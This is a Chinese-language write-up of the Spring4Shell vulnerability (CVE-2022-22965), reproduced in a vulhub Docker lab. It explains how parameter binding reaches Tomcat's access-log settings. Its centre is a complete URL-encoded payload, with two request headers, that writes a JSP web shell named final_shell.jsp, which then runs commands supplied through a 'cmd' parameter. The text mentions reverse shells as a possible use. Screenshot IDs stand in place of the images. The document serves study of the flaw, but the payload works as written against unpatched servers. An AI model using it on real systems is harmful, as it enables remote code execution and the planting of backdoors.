影响范围

  • Spring Framework < 5.3.18
  • Spring Framework < 5.2.20

漏洞类型

参数绑定漏洞

操作系统限制

配置要求

漏洞利用

执行命令,可以进行反弹 shell

利用原理

利用 Java 特性,对象互通且允许通过点号. 访问属性的属性,在 JDK9 中引入了 Module,Spring 没防住 class.module.classLoader,可以直接通过参数访问到 Tomcat 的类加载器。在 Tomcat 中有一个 AccessLogValve 组件负责记录访问日志,可以通过参数绑定来修改其配置,directory(日志存放目录)、prefix(日志文件名)、suffix(日志后缀)、fileDateFormat(日期后缀)、pattern(日志格式),将目录修改到 Web 根目录,将日志文件名确定,日志后缀改成.jsp,将日期后缀清空,防止文件名额外添加上日期,将 Java 恶意代码注入到日志格式中。最后通过日志功能,当攻击者发送请求,将设定好的文件存放到 Web 根目录,内容即构造的恶意 payload。pattern 模块有一段代码为 pattern=%25 {参数 1} i+ 其他代码 +%25 {参数 2} i,其中两个参数要放到 HTTP 请求头,后面分别接上 <% 和 %>//作为参数替换的内容,最后拼接成一段完整的 jsp 可执行代码。

漏洞复现

用现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/spring/CVE-2022-22965
#拉取镜像
docker-compose up -d

1773376841338

访问 http://公网: 8080

1773376862511

用 burpsuite 抓取首页的数据包

1773376981313

发送到 Repeater 模块

1773376942289

在 GET 请求后添加 payload

1
2
3
4
5
#注入的payload
/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc1%7Di%20java.io.InputStream%20in%20%3D%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bc2%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=final_shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
#Java外壳,加在Host下一行,即HTTP请求头
c1: <%
c2: %>//

1773377030511

返回响应码 200

1773377067593

访问 http://公网: 8080/final_shell.jsp,返回响应码 500 说明成功注入 jsp 文件

1773377102776

添加参数 cmd = id,即访问 http://公网: 8080/final_shell.jsp?cmd = id,返回页面如下

1773377131237